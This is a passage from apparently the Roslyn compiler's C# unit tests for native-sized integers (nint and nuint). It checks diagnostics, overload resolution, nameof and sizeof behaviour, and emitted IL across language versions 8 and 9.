public void F2(nuint y) { base.F2(y); }
}
class B2 : A
{
public void F1(nuint x) { }
public void F2(nint y) { }
}
class B3 : A
{
public void F1(nint x) { base.F1(x); }
public void F2(nuint y) { base.F2(y); }
}
class B4 : A
{
public void F1(nuint x) { }
public void F2(nint y) { }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
var diagnostics = new[]
{
// (3,17): warning CS0108: 'B1.F1(nint)' hides inherited member 'A.F1(IntPtr)'. Use the new keyword if hiding was intended.
// public void F1(nint x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B1.F1(nint)", "A.F1(System.IntPtr)").WithLocation(3, 17),
// (4,17): warning CS0108: 'B1.F2(nuint)' hides inherited member 'A.F2(UIntPtr)'. Use the new keyword if hiding was intended.
// public void F2(nuint y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B1.F2(nuint)", "A.F2(System.UIntPtr)").WithLocation(4, 17),
// (13,17): warning CS0108: 'B3.F1(nint)' hides inherited member 'A.F1(IntPtr)'. Use the new keyword if hiding was intended.
// public void F1(nint x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B3.F1(nint)", "A.F1(System.IntPtr)").WithLocation(13, 17),
// (14,17): warning CS0108: 'B3.F2(nuint)' hides inherited member 'A.F2(UIntPtr)'. Use the new keyword if hiding was intended.
// public void F2(nuint y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B3.F2(nuint)", "A.F2(System.UIntPtr)").WithLocation(14, 17)
};
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(diagnostics);
}
[Fact]
public void Overloads_03()
{
var sourceA =
@"public class A
{
public void F1(nint x) { }
public void F2(nuint y) { }
}";
var sourceB =
@"class B1 : A
{
public void F1(System.UIntPtr x) { }
public void F2(System.IntPtr y) { }
}
class B2 : A
{
public void F1(System.IntPtr x) { base.F1(x); }
public void F2(System.UIntPtr y) { base.F2(y); }
}
class B3 : A
{
public void F1(System.UIntPtr x) { }
public void F2(System.IntPtr y) { }
}
class B4 : A
{
public void F1(System.IntPtr x) { base.F1(x); }
public void F2(System.UIntPtr y) { base.F2(y); }
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
var diagnostics = new[]
{
// (8,17): warning CS0108: 'B2.F1(IntPtr)' hides inherited member 'A.F1(nint)'. Use the new keyword if hiding was intended.
// public void F1(System.IntPtr x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B2.F1(System.IntPtr)", "A.F1(nint)").WithLocation(8, 17),
// (9,17): warning CS0108: 'B2.F2(UIntPtr)' hides inherited member 'A.F2(nuint)'. Use the new keyword if hiding was intended.
// public void F2(System.UIntPtr y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B2.F2(System.UIntPtr)", "A.F2(nuint)").WithLocation(9, 17),
// (18,17): warning CS0108: 'B4.F1(IntPtr)' hides inherited member 'A.F1(nint)'. Use the new keyword if hiding was intended.
// public void F1(System.IntPtr x) { base.F1(x); }
Diagnostic(ErrorCode.WRN_NewRequired, "F1").WithArguments("B4.F1(System.IntPtr)", "A.F1(nint)").WithLocation(18, 17),
// (19,17): warning CS0108: 'B4.F2(UIntPtr)' hides inherited member 'A.F2(nuint)'. Use the new keyword if hiding was intended.
// public void F2(System.UIntPtr y) { base.F2(y); }
Diagnostic(ErrorCode.WRN_NewRequired, "F2").WithArguments("B4.F2(System.UIntPtr)", "A.F2(nuint)").WithLocation(19, 17)
};
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(diagnostics);
}
[Fact]
public void Overloads_04()
{
var source =
@"interface I
{
void F(System.IntPtr x);
void F(System.UIntPtr x);
void F(nint y);
}
class C
{
static void F(System.UIntPtr x) { }
static void F(nint y) { }
static void F(nuint y) { }
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,10): error CS0111: Type 'I' already defines a member called 'F' with the same parameter types
// void F(nint y);
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "F").WithArguments("F", "I").WithLocation(5, 10),
// (11,17): error CS0111: Type 'C' already defines a member called 'F' with the same parameter types
// static void F(nuint y) { }
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "F").WithArguments("F", "C").WithLocation(11, 17));
}
[Fact]
public void Overloads_05()
{
var source =
@"interface I
{
object this[System.IntPtr x] { get; }
object this[nint y] { get; set; }
}
class C
{
object this[nuint x] => null;
object this[System.UIntPtr y] { get { return null; } set { } }
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (4,12): error CS0111: Type 'I' already defines a member called 'this' with the same parameter types
// object this[nint y] { get; set; }
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "this").WithArguments("this", "I").WithLocation(4, 12),
// (9,12): error CS0111: Type 'C' already defines a member called 'this' with the same parameter types
// object this[System.UIntPtr y] { get { return null; } set { } }
Diagnostic(ErrorCode.ERR_MemberAlreadyExists, "this").WithArguments("this", "C").WithLocation(9, 12));
}
[Fact]
public void Overloads_06()
{
var source1 =
@"public interface IA
{
void F1(nint i);
void F2(nuint i);
}
public interface IB
{
void F1(System.IntPtr i);
void F2(System.UIntPtr i);
}";
var comp = CreateCompilation(source1, parseOptions: TestOptions.Regular9);
var ref1 = comp.EmitToImageReference();
var source2 =
@"class C : IA, IB
{
public void F1(System.IntPtr i) { }
public void F2(System.UIntPtr i) { }
}";
comp = CreateCompilation(source2, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var source3 =
@"class C1 : IA, IB
{
public void F1(nint i) { }
public void F2(System.UIntPtr i) { }
}
class C2 : IA, IB
{
public void F1(System.IntPtr i) { }
public void F2(nuint i) { }
}";
comp = CreateCompilation(source3, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Partial_01()
{
var source =
@"partial class Program
{
static partial void F1(System.IntPtr x);
static partial void F2(System.UIntPtr x) { }
static partial void F1(nint x) { }
static partial void F2(nuint x);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Constraints_01()
{
var sourceA =
@"public class A<T>
{
public static void F<U>() where U : T { }
}
public class B1 : A<nint> { }
public class B2 : A<nuint> { }
public class B3 : A<System.IntPtr> { }
public class B4 : A<System.UIntPtr> { }
";
var sourceB =
@"class Program
{
static void Main()
{
B1.F<System.IntPtr>();
B2.F<System.UIntPtr>();
B3.F<nint>();
B4.F<nuint>();
}
}";
var comp = CreateCompilation(new[] { sourceA, sourceB }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Constraints_02()
{
var sourceA =
@"public class A<T>
{
public static void F<U>() where U : T { }
}
public class B1 : A<System.IntPtr> { }
public class B2 : A<System.UIntPtr> { }
";
var sourceB =
@"class Program
{
static void Main()
{
B1.F<nint>();
B2.F<nuint>();
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void Constraints_03()
{
var sourceA =
@"public class A<T>
{
public static void F<U>() where U : T { }
}
public class B1 : A<nint> { }
public class B2 : A<nuint> { }
";
var sourceB =
@"class Program
{
static void Main()
{
B1.F<System.IntPtr>();
B2.F<System.UIntPtr>();
}
}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
var ref1 = comp.ToMetadataReference();
var ref2 = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { ref1 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
comp = CreateCompilation(sourceB, references: new[] { ref2 }, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
}
[Fact]
public void ClassName()
{
var source =
@"class nint
{
}
interface I
{
nint Add(nint x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (6,22): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 22));
verify(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var tree = comp.SyntaxTrees[0];
var nodes = tree.GetRoot().DescendantNodes().ToArray();
var model = comp.GetSemanticModel(tree);
var underlyingType = model.GetDeclaredSymbol(nodes.OfType<ClassDeclarationSyntax>().Single());
Assert.Equal("nint", underlyingType.ToTestDisplayString());
Assert.Equal(SpecialType.None, underlyingType.SpecialType);
var method = model.GetDeclaredSymbol(nodes.OfType<MethodDeclarationSyntax>().Single());
Assert.Equal("nint I.Add(nint x, nuint y)", method.ToTestDisplayString());
var underlyingType0 = method.Parameters[0].Type.GetSymbol<NamedTypeSymbol>();
var underlyingType1 = method.Parameters[1].Type.GetSymbol<NamedTypeSymbol>();
Assert.Equal(SpecialType.None, underlyingType0.SpecialType);
Assert.False(underlyingType0.IsNativeIntegerType);
Assert.Equal(SpecialType.System_UIntPtr, underlyingType1.SpecialType);
Assert.True(underlyingType1.IsNativeIntegerType);
}
}
[Fact]
public void AliasName_01()
{
var source =
@"using nint = System.Int16;
interface I
{
nint Add(nint x, nuint y);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (4,22): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// nint Add(nint x, nuint y);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(4, 22));
verify(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var method = comp.GetMember<MethodSymbol>("I.Add");
Assert.Equal("System.Int16 I.Add(System.Int16 x, nuint y)", method.ToTestDisplayString());
var underlyingType0 = (NamedTypeSymbol)method.Parameters[0].Type;
var underlyingType1 = (NamedTypeSymbol)method.Parameters[1].Type;
Assert.Equal(SpecialType.System_Int16, underlyingType0.SpecialType);
Assert.False(underlyingType0.IsNativeIntegerType);
Assert.Equal(SpecialType.System_UIntPtr, underlyingType1.SpecialType);
Assert.True(underlyingType1.IsNativeIntegerType);
}
}
[WorkItem(42975, "https://github.com/dotnet/roslyn/issues/42975")]
[Fact]
public void AliasName_02()
{
var source =
@"using N = nint;
class Program
{
N F() => default;
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (1,11): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// using N = nint;
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(1, 11));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void MemberName_01()
{
var source =
@"namespace N
{
class nint { }
class Program
{
internal static object nuint;
static void Main()
{
_ = new nint();
_ = new @nint();
_ = new N.nint();
@nint i = null;
_ = i;
@nuint = null;
_ = nuint;
_ = @nuint;
_ = Program.nuint;
}
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
verify(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verify(comp);
static void verify(CSharpCompilation comp)
{
var tree = comp.SyntaxTrees[0];
var model = comp.GetSemanticModel(tree);
var nodes = tree.GetRoot().DescendantNodes().OfType<ObjectCreationExpressionSyntax>().ToArray();
Assert.Equal(3, nodes.Length);
foreach (var node in nodes)
{
var type = model.GetTypeInfo(node).Type;
Assert.Equal("N.nint", type.ToTestDisplayString());
Assert.Equal(SpecialType.None, type.SpecialType);
Assert.False(type.IsNativeIntegerType);
}
}
}
[Fact]
public void MemberName_02()
{
var source =
@"class Program
{
static void Main()
{
_ = nint.Equals(0, 0);
_ = nuint.Equals(0, 0);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = nint.Equals(0, 0);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 13),
// (6,13): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = nuint.Equals(0, 0);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nuint").WithArguments("native-sized integers", "9.0").WithLocation(6, 13));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void NameOf_01()
{
var source =
@"using System;
class Program
{
static void Main()
{
Console.WriteLine(nameof(nint));
Console.WriteLine(nameof(nuint));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (6,34): error CS0103: The name 'nint' does not exist in the current context
// Console.WriteLine(nameof(nint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nint").WithArguments("nint").WithLocation(6, 34),
// (7,34): error CS0103: The name 'nuint' does not exist in the current context
// Console.WriteLine(nameof(nuint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(7, 34));
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,34): error CS0103: The name 'nint' does not exist in the current context
// Console.WriteLine(nameof(nint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nint").WithArguments("nint").WithLocation(6, 34),
// (7,34): error CS0103: The name 'nuint' does not exist in the current context
// Console.WriteLine(nameof(nuint));
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(7, 34));
}
[Fact]
public void NameOf_02()
{
var source =
@"class Program
{
static void F(nint nint)
{
_ = nameof(nint);
_ = nameof(nuint);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (3,19): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// static void F(nint nint)
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(3, 19),
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(6, 20));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "nuint").WithArguments("nuint").WithLocation(6, 20));
}
[Fact]
public void NameOf_03()
{
var source =
@"class Program
{
static void F()
{
_ = nameof(@nint);
_ = nameof(@nuint);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,20): error CS0103: The name 'nint' does not exist in the current context
// _ = nameof(@nint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nint").WithArguments("nint").WithLocation(5, 20),
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(@nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nuint").WithArguments("nuint").WithLocation(6, 20));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,20): error CS0103: The name 'nint' does not exist in the current context
// _ = nameof(@nint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nint").WithArguments("nint").WithLocation(5, 20),
// (6,20): error CS0103: The name 'nuint' does not exist in the current context
// _ = nameof(@nuint);
Diagnostic(ErrorCode.ERR_NameNotInContext, "@nuint").WithArguments("nuint").WithLocation(6, 20));
}
[Fact]
public void NameOf_04()
{
var source =
@"class Program
{
static void F(int @nint, uint @nuint)
{
_ = nameof(@nint);
_ = nameof(@nuint);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
[Fact]
public void NameOf_05()
{
var source =
@"class Program
{
static void F()
{
_ = nameof(nint.Equals);
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics(
// (5,20): error CS8400: Feature 'native-sized integers' is not available in C# 8.0. Please use language version 9.0 or greater.
// _ = nameof(nint.Equals);
Diagnostic(ErrorCode.ERR_FeatureNotAvailableInVersion8, "nint").WithArguments("native-sized integers", "9.0").WithLocation(5, 20));
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
}
/// <summary>
/// sizeof(IntPtr) and sizeof(nint) require compiling with /unsafe.
/// </summary>
[Fact]
public void SizeOf_01()
{
var source =
@"class Program
{
static void Main()
{
_ = sizeof(System.IntPtr);
_ = sizeof(System.UIntPtr);
_ = sizeof(nint);
_ = sizeof(nuint);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (5,13): error CS0233: 'IntPtr' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(System.IntPtr);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(System.IntPtr)").WithArguments("System.IntPtr").WithLocation(5, 13),
// (6,13): error CS0233: 'UIntPtr' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(System.UIntPtr);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(System.UIntPtr)").WithArguments("System.UIntPtr").WithLocation(6, 13),
// (7,13): error CS0233: 'nint' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(nint);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(nint)").WithArguments("nint").WithLocation(7, 13),
// (8,13): error CS0233: 'nuint' does not have a predefined size, therefore sizeof can only be used in an unsafe context
// _ = sizeof(nuint);
Diagnostic(ErrorCode.ERR_SizeofUnsafe, "sizeof(nuint)").WithArguments("nuint").WithLocation(8, 13));
}
[Fact]
public void SizeOf_02()
{
var source =
@"using System;
class Program
{
unsafe static void Main()
{
Console.Write(sizeof(System.IntPtr));
Console.Write(sizeof(System.UIntPtr));
Console.Write(sizeof(nint));
Console.Write(sizeof(nuint));
}
}";
var comp = CreateCompilation(source, options: TestOptions.UnsafeReleaseExe, parseOptions: TestOptions.Regular9);
int size = IntPtr.Size;
var verifier = CompileAndVerify(comp, expectedOutput: $"{size}{size}{size}{size}");
verifier.VerifyIL("Program.Main",
@"{
// Code size 45 (0x2d)
.maxstack 1
IL_0000: sizeof ""System.IntPtr""
IL_0006: call ""void System.Console.Write(int)""
IL_000b: sizeof ""System.UIntPtr""
IL_0011: call ""void System.Console.Write(int)""
IL_0016: sizeof ""System.IntPtr""
IL_001c: call ""void System.Console.Write(int)""
IL_0021: sizeof ""System.UIntPtr""
IL_0027: call ""void System.Console.Write(int)""
IL_002c: ret
}");
}
[Fact]
public void SizeOf_03()
{
var source =
@"using System.Collections.Generic;
unsafe class Program
{
static IEnumerable<int> F()
{
yield return sizeof(nint);
yield return sizeof(nuint);
}
}";
var comp = CreateCompilation(source, options: TestOptions.UnsafeReleaseDll, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,22): error CS1629: Unsafe code may not appear in iterators
// yield return sizeof(nint);
Diagnostic(ErrorCode.ERR_IllegalInnerUnsafe, "sizeof(nint)").WithLocation(6, 22),
// (7,22): error CS1629: Unsafe code may not appear in iterators
// yield return sizeof(nuint);
Diagnostic(ErrorCode.ERR_IllegalInnerUnsafe, "sizeof(nuint)").WithLocation(7, 22));
}
[Fact]
public void SizeOf_04()
{
var source =
@"unsafe class Program
{
const int A = sizeof(System.IntPtr);
const int B = sizeof(System.UIntPtr);
const int C = sizeof(nint);
const int D = sizeof(nuint);
}";
var comp = CreateCompilation(source, options: TestOptions.UnsafeReleaseDll, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (3,19): error CS0133: The expression being assigned to 'Program.A' must be constant
// const int A = sizeof(System.IntPtr);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(System.IntPtr)").WithArguments("Program.A").WithLocation(3, 19),
// (4,19): error CS0133: The expression being assigned to 'Program.B' must be constant
// const int B = sizeof(System.UIntPtr);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(System.UIntPtr)").WithArguments("Program.B").WithLocation(4, 19),
// (5,19): error CS0133: The expression being assigned to 'Program.C' must be constant
// const int C = sizeof(nint);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(nint)").WithArguments("Program.C").WithLocation(5, 19),
// (6,19): error CS0133: The expression being assigned to 'Program.D' must be constant
// const int D = sizeof(nuint);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "sizeof(nuint)").WithArguments("Program.D").WithLocation(6, 19));
}
// PEVerify should succeed. Previously, PEVerify reported duplicate
// TypeRefs for System.IntPtr in i.ToString() and (object)i.
[Fact]
public void MultipleTypeRefs_01()
{
string source =
@"class Program
{
static string F1(nint i)
{
return i.ToString();
}
static object F2(nint i)
{
return i;
}
static void Main()
{
System.Console.WriteLine(F1(-42));
System.Console.WriteLine(F2(42));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"-42
42");
verifier.VerifyIL("Program.F1",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""string System.IntPtr.ToString()""
IL_0007: ret
}");
verifier.VerifyIL("Program.F2",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}");
}
// PEVerify should succeed. Previously, PEVerify reported duplicate
// TypeRefs for System.UIntPtr in UIntPtr.get_MaxValue and (object)u.
[Fact]
public void MultipleTypeRefs_02()
{
var sourceA =
@"namespace System
{
public class Object { }
public class String { }
public abstract class ValueType { }
public struct Void { }
public struct Boolean { }
public struct Int32 { }
public struct UInt64 { }
public struct UIntPtr
{
public static UIntPtr MaxValue => default;
public static UIntPtr MinValue => default;
}
}";
var comp = CreateEmptyCompilation(sourceA);
comp.VerifyDiagnostics();
var refA = comp.EmitToImageReference(options: EmitOptions.Default.WithRuntimeMetadataVersion("4.0.0.0"));
var sourceB =
@"class Program
{
static ulong F1()
{
return nuint.MaxValue;
}
static object F2()
{
nuint u = 42;
return u;
}
}";
comp = CreateEmptyCompilation(sourceB, references: new[] { refA }, parseOptions: TestOptions.Regular9);
// PEVerify is skipped because it reports "Type load failed" because of the above corlib,
// not because of duplicate TypeRefs in this assembly. Replace the above corlib with the
// actual corlib when that assembly contains UIntPtr.MaxValue or if we decide to support
// nuint.MaxValue (since MaxValue could be used in this test instead).
var verifier = CompileAndVerify(comp, verify: Verification.Skipped);
verifier.VerifyIL("Program.F1",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: call ""System.UIntPtr System.UIntPtr.MaxValue.get""
IL_0005: conv.u8
IL_0006: ret
}");
verifier.VerifyIL("Program.F2",
@"{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldc.i4.s 42
IL_0002: conv.i
IL_0003: box ""System.UIntPtr""
IL_0008: ret
}");
}
[WorkItem(42453, "https://github.com/dotnet/roslyn/issues/42453")]
[Fact]
public void ReadOnlyField_VirtualMethods()
{
string source =
@"using System;
using System.Linq.Expressions;
class MyInt
{
private readonly nint _i;
internal MyInt(nint i)
{
_i = i;
}
public override string ToString()
{
return _i.ToString();
}
public override int GetHashCode()
{
return ((Func<int>)_i.GetHashCode)();
}
public override bool Equals(object other)
{
return _i.Equals((other as MyInt)?._i);
}
internal string ToStringFromExpr()
{
Expression<Func<string>> e = () => ((Func<string>)_i.ToString)();
return e.Compile()();
}
internal int GetHashCodeFromExpr()
{
Expression<Func<int>> e = () => _i.GetHashCode();
return e.Compile()();
}
}
class Program
{
static void Main()
{
var m = new MyInt(42);
Console.WriteLine(m);
Console.WriteLine(m.GetHashCode());
Console.WriteLine(m.Equals(null));
Console.WriteLine(m.ToStringFromExpr());
Console.WriteLine(m.GetHashCodeFromExpr());
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
$@"42
{42.GetHashCode()}
False
42
{42.GetHashCode()}");
verifier.VerifyIL("MyInt.ToString",
@"{
// Code size 15 (0xf)
.maxstack 1
.locals init (System.IntPtr V_0)
IL_0000: ldarg.0
IL_0001: ldfld ""nint MyInt._i""
IL_0006: stloc.0
IL_0007: ldloca.s V_0
IL_0009: call ""string System.IntPtr.ToString()""
IL_000e: ret
}");
verifier.VerifyIL("MyInt.GetHashCode",
@"{
// Code size 29 (0x1d)
.maxstack 2
IL_0000: ldarg.0
IL_0001: ldfld ""nint MyInt._i""
IL_0006: box ""System.IntPtr""
IL_000b: dup
IL_000c: ldvirtftn ""int object.GetHashCode()""
IL_0012: newobj ""System.Func<int>..ctor(object, System.IntPtr)""
IL_0017: callvirt ""int System.Func<int>.Invoke()""
IL_001c: ret
}");
verifier.VerifyIL("MyInt.Equals",
@"{
// Code size 51 (0x33)
.maxstack 3
.locals init (System.IntPtr V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: ldfld ""nint MyInt._i""
IL_0006: stloc.0
IL_0007: ldloca.s V_0
IL_0009: ldarg.1
IL_000a: isinst ""MyInt""
IL_000f: dup
IL_0010: brtrue.s IL_001e
IL_0012: pop
IL_0013: ldloca.s V_1
IL_0015: initobj ""nint?""
IL_001b: ldloc.1
IL_001c: br.s IL_0028
IL_001e: ldfld ""nint MyInt._i""
IL_0023: newobj ""nint?..ctor(nint)""
IL_0028: box ""nint?""
IL_002d: call ""bool System.IntPtr.Equals(object)""
IL_0032: ret
}");
}
/// <summary>
/// Verify there is the number of built in operators for { nint, nuint, nint?, nuint? }
/// for each operator kind.
/// </summary>
[Fact]
public void BuiltInOperators()
{
var source = "";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular8);
comp.VerifyDiagnostics();
verifyOperators(comp);
comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
verifyOperators(comp);
static void verifyOperators(CSharpCompilation comp)
{
var unaryOperators = new[]
{
UnaryOperatorKind.PostfixIncrement,
UnaryOperatorKind.PostfixDecrement,
UnaryOperatorKind.PrefixIncrement,
UnaryOperatorKind.PrefixDecrement,
UnaryOperatorKind.UnaryPlus,
UnaryOperatorKind.UnaryMinus,
UnaryOperatorKind.BitwiseComplement,
};
var binaryOperators = new[]
{
BinaryOperatorKind.Addition,
BinaryOperatorKind.Subtraction,
BinaryOperatorKind.Multiplication,
BinaryOperatorKind.Division,
BinaryOperatorKind.Remainder,
BinaryOperatorKind.LessThan,
BinaryOperatorKind.LessThanOrEqual,
BinaryOperatorKind.GreaterThan,
BinaryOperatorKind.GreaterThanOrEqual,
BinaryOperatorKind.LeftShift,
BinaryOperatorKind.RightShift,
BinaryOperatorKind.Equal,
BinaryOperatorKind.NotEqual,
BinaryOperatorKind.Or,
BinaryOperatorKind.And,
BinaryOperatorKind.Xor,
};
foreach (var operatorKind in unaryOperators)
{
verifyUnaryOperators(comp, operatorKind, skipNativeIntegerOperators: true);
verifyUnaryOperators(comp, operatorKind, skipNativeIntegerOperators: false);
}
foreach (var operatorKind in binaryOperators)
{
verifyBinaryOperators(comp, operatorKind, skipNativeIntegerOperators: true);
verifyBinaryOperators(comp, operatorKind, skipNativeIntegerOperators: false);
}
static void verifyUnaryOperators(CSharpCompilation comp, UnaryOperatorKind operatorKind, bool skipNativeIntegerOperators)
{
var builder = ArrayBuilder<UnaryOperatorSignature>.GetInstance();
